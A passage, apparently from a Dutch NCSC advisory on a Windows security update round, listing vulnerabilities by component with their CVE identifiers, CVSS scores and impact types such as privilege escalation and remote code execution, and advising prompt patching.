systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang 